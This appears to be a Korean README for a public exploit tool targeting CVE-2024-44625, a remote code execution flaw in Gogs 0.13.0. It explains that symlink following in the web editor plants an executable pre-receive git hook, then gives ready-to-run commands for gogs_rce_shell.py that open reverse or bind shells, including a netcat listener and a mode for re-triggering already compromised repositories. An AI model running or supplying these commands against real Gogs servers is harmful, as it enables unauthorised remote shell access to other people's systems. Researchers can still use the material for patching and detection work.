CVE-2024-44625 및 Gogs-RCE-0.13.0

리버스 프록시 뒤에 있는 0.13.0 시대의 Gogs를 대상으로 검증되었습니다. 기본 원리: 웹 편집기의 심볼릭 링크 추적을 통해 존재하지 않는 .git/hooks/pre-receive 파일을 생성(실행 가능)합니다. 이후 해당 저장소에 대한 모든 푸시가 이 훅을 실행합니다.

사용법:

리버스 셸 (먼저 리스너 실행: nc -lvnp 4444)

python3 gogs_rce_shell.py --url http://host --user admin1 --pass 'P@ss' \
    --mode reverse --lhost <YOUR_IP> --lport 4444

바인드 셸 (그런 다음 연결: nc )

python3 gogs_rce_shell.py --url http://host --user admin1 --pass 'P@ss' \
    --mode bind --bind-port 5555

재배포 없이 기존 훅 재트리거 (이미 오염된 저장소):

python3 gogs_rce_shell.py --url http://host --user admin1 --pass 'P@ss' \
    --mode reverse --lhost IP --lport 4444 --repo <name> --reuse --triggers 3

CVE-2024-44625-Gogs-RCE-0.13.0

인기